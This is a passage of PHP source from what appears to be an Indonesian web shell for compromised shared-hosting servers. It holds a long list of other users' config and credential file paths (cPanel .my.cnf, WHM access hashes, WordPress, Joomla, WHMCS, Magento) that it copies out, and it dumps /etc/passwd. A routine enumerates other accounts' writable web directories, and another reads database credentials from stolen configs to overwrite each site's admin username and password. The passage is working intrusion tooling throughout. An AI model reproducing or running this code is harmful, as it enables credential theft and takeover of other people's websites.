  2267.                                         "/home1/$user_cox/.my.cnf" => "cpanel",
  2268.                     "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  2269.                     "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  2270.                     "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  2271.                     "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  2272.                     "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  2273.                     "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  2274.                     "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
  2275.                     "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  2276.                     "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  2277.                     "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
  2278.                     "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
  2279.                     "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
  2280.                     "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  2281.                     "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  2282.                     "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2283.                     "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2284.                     "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2285.                     "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2286.                     "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  2287.                     "/home1/$user_cox/public_html/configuration.php" => "Joomla",                  
  2288.                     "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2289.                     "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2290.                     "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  2291.                     "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2292.                     "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2293.                     "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2294.                     "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  2295.                     "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  2296.                     "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  2297.                     "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2298.                     "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2299.                     "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2300.                     "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  2301.                     "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  2302.                     "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  2303.                     "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2304.                     "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2305.                     "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2306.                     "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2307.                     "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2308.                     "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2309.                     "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2310.                     "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2311.                     "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2312.                     "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2313.                     "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2314.                     "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2315.                     "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2316.                     "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2317.                     "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2318.                     "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  2319.                     "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  2320.                     "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  2321.                     "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2322.                     "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2323.                     "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  2324.                     "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
  2325.                     "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2326.                     "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2327.                     "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  2328.                     "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  2329.                     "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  2330.                     "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  2331.                     "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  2332.                     "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  2333.                     "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  2334.                     "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  2335.                     "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  2336.                     "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  2337.                     "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  2338.                     "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  2339.                     "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  2340.                     "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  2341.                     "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  2342.                     "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  2343.                     "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  2344.                     "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  2345.                     "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  2346.                     "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  2347.                     "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  2348.                     "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  2349.                     "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  2350.                     "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  2351.                     "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  2352.                     "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  2353.                     "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  2354.                     "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  2355.                     "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  2356.                     "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  2357.                     "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  2358.                     "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  2359.                     "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  2360.                     "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  2361.                                         "/home2/$user_cox/.my.cnf" => "cpanel",
  2362.                     "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  2363.                     "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  2364.                     "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  2365.                     "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  2366.                     "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  2367.                     "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  2368.                     "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
  2369.                     "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  2370.                     "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  2371.                     "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
  2372.                     "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
  2373.                     "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
  2374.                     "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  2375.                     "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  2376.                     "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2377.                     "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2378.                     "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2379.                     "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2380.                     "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  2381.                     "/home2/$user_cox/public_html/configuration.php" => "Joomla",                  
  2382.                     "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2383.                     "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2384.                     "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  2385.                     "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2386.                     "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2387.                     "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2388.                     "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  2389.                     "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  2390.                     "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  2391.                     "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2392.                     "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2393.                     "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2394.                     "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  2395.                     "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  2396.                     "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  2397.                     "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2398.                     "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2399.                     "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2400.                     "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2401.                     "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2402.                     "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2403.                     "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2404.                     "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2405.                     "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2406.                     "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2407.                     "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2408.                     "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2409.                     "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2410.                     "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2411.                     "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2412.                     "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  2413.                     "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  2414.                     "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  2415.                     "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2416.                     "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2417.                     "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  2418.                     "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
  2419.                     "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2420.                     "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2421.                     "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  2422.                     "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  2423.                     "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  2424.                     "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  2425.                     "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  2426.                     "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  2427.                     "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  2428.                     "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  2429.                     "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  2430.                     "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  2431.                     "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  2432.                     "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  2433.                     "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  2434.                     "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  2435.                     "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  2436.                     "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  2437.                     "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  2438.                     "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  2439.                     "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  2440.                     "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  2441.                     "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  2442.                     "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  2443.                     "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  2444.                     "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  2445.                     "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  2446.                     "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  2447.                     "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  2448.                     "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  2449.                     "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  2450.                     "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  2451.                     "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  2452.                     "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  2453.                     "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  2454.                     "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  2455.                     "/home3/$user_cox/.my.cnf" => "cpanel",
  2456.                     "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  2457.                     "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  2458.                     "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  2459.                     "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  2460.                     "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  2461.                     "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  2462.                     "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
  2463.                     "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  2464.                     "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  2465.                     "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
  2466.                     "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
  2467.                     "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
  2468.                     "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  2469.                     "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  2470.                     "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2471.                     "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2472.                     "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2473.                     "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2474.                     "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  2475.                     "/home3/$user_cox/public_html/configuration.php" => "Joomla",                  
  2476.                     "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2477.                     "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2478.                     "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  2479.                     "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2480.                     "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2481.                     "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2482.                     "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  2483.                     "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  2484.                     "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  2485.                     "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2486.                     "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2487.                     "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2488.                     "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  2489.                     "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  2490.                     "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  2491.                     "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2492.                     "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2493.                     "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2494.                     "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2495.                     "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2496.                     "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2497.                     "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2498.                     "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2499.                     "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2500.                     "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2501.                     "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2502.                     "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2503.                     "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2504.                     "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2505.                     "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2506.                     "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  2507.                     "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  2508.                     "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  2509.                     "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2510.                     "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2511.                     "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  2512.                     "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
  2513.                     "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2514.                     "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2515.                     "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  2516.                     "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  2517.                     "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  2518.                     "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  2519.                     "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  2520.                     "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  2521.                     "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  2522.                     "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  2523.                     "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  2524.                     "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  2525.                     "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  2526.                     "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  2527.                     "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  2528.                     "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  2529.                     "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  2530.                     "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  2531.                     "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  2532.                     "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  2533.                     "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  2534.                     "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  2535.                     "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  2536.                     "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  2537.                     "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  2538.                     "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  2539.                     "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  2540.                     "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  2541.                     "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  2542.                     "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  2543.                     "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  2544.                     "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  2545.                     "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  2546.                     "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  2547.                     "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  2548.                     "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"                   
  2549.                         ); 
  2550.                     foreach($grab_config as $config => $nama_config) {
  2551.                         $ambil_config = file_get_contents($config);
  2552.                         if($ambil_config == '') {
  2553.                         } else {
  2554.                             $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
  2555.                             fputs($file_config,$ambil_config);
  2556.                         }
  2557.                     }
  2558.                 }      
  2559.             }
  2560.             echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
  2561.             }else{
  2562.                
  2563.         echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  2564.         echo file_get_contents('/etc/passwd');
  2565.         echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  2566.         }
  2567. } elseif($_GET['do'] == 'jumping') {
  2568.     $i = 0;
  2569.     echo "<pre><div class='margin: 5px auto;'>";
  2570.     $etc = fopen("/etc/passwd", "r");
  2571.     while($passwd = fgets($etc)) {
  2572.         if($passwd == '' || !$etc) {
  2573.             echo "<font color=red>Can't read /etc/passwd</font>";
  2574.         } else {
  2575.             preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  2576.             foreach($user_jumping[1] as $user_idx_jump) {
  2577.                 $user_jumping_dir = "/home/$user_idx_jump/public_html";
  2578.                 if(is_readable($user_jumping_dir)) {
  2579.                     $i++;
  2580.                     $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  2581.                     if(is_writable($user_jumping_dir)) {
  2582.                         $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  2583.                     }
  2584.                     echo $jrw;
  2585.                     $domain_jump = file_get_contents("/etc/named.conf");   
  2586.                     if($domain_jump == '') {
  2587.                         echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  2588.                     } else {
  2589.                         preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  2590.                         foreach($domains_jump[1] as $dj) {
  2591.                             $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  2592.                             $user_jumping_url = $user_jumping_url['name'];
  2593.                             if($user_jumping_url == $user_idx_jump) {
  2594.                                 echo " => ( <u>$dj</u> )<br>";
  2595.                                 break;
  2596.                             }
  2597.                         }
  2598.                     }
  2599.                 }
  2600.             }
  2601.         }
  2602.     }
  2603.     if($i == 0) {
  2604.     } else {
  2605.         echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  2606.     }
  2607.     echo "</div></pre>";
  2608. } elseif($_GET['do'] == 'auto_edit_user') {
  2609.     if($_POST['hajar']) {
  2610.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  2611.             echo "username atau password harus lebih dari 6 karakter";
  2612.         } else {
  2613.             $user_baru = $_POST['user_baru'];
  2614.             $pass_baru = md5($_POST['pass_baru']);
  2615.             $conf = $_POST['config_dir'];
  2616.             $scan_conf = scandir($conf);
  2617.             foreach($scan_conf as $file_conf) {
  2618.                 if(!is_file("$conf/$file_conf")) continue;
  2619.                 $config = file_get_contents("$conf/$file_conf");
  2620.                 if(preg_match("/JConfig|joomla/",$config)) {
  2621.                     $dbhost = ambilkata($config,"host = '","'");
  2622.                     $dbuser = ambilkata($config,"user = '","'");
  2623.                     $dbpass = ambilkata($config,"password = '","'");
  2624.                     $dbname = ambilkata($config,"db = '","'");
  2625.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  2626.                     $prefix = $dbprefix."users";
  2627.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2628.                     $db = mysql_select_db($dbname);
  2629.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2630.                     $result = mysql_fetch_array($q);
  2631.                     $id = $result['id'];
  2632.                     $site = ambilkata($config,"sitename = '","'");
  2633.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  2634.                     echo "Config => ".$file_conf."<br>";
  2635.                     echo "CMS => Joomla<br>";
  2636.                     if($site == '') {
  2637.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2638.                     } else {
  2639.                         echo "Sitename => $site<br>";
  2640.                     }
  2641.                     if(!$update OR !$conn OR !$db) {
  2642.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2643.                     } else {
  2644.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2645.                     }
  2646.                     mysql_close($conn);
  2647.                 } elseif(preg_match("/WordPress/",$config)) {
  2648.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  2649.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  2650.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2651.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  2652.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2653.                     $prefix = $dbprefix."users";
  2654.                     $option = $dbprefix."options";
  2655.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2656.                     $db = mysql_select_db($dbname);
  2657.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2658.                     $result = mysql_fetch_array($q);
  2659.                     $id = $result[ID];
  2660.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2661.                     $result2 = mysql_fetch_array($q2);
  2662.                     $target = $result2[option_value];
  2663.                     if($target == '') {
  2664.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  2665.                     } else {
  2666.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  2667.                     }
  2668.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  2669.                     echo "Config => ".$file_conf."<br>";
  2670.                     echo "CMS => Wordpress<br>";
  2671.                     echo $url_target;
  2672.                     if(!$update OR !$conn OR !$db) {
  2673.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  2674.                     } else {
  2675.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  2676.                     }
  2677.                     mysql_close($conn);
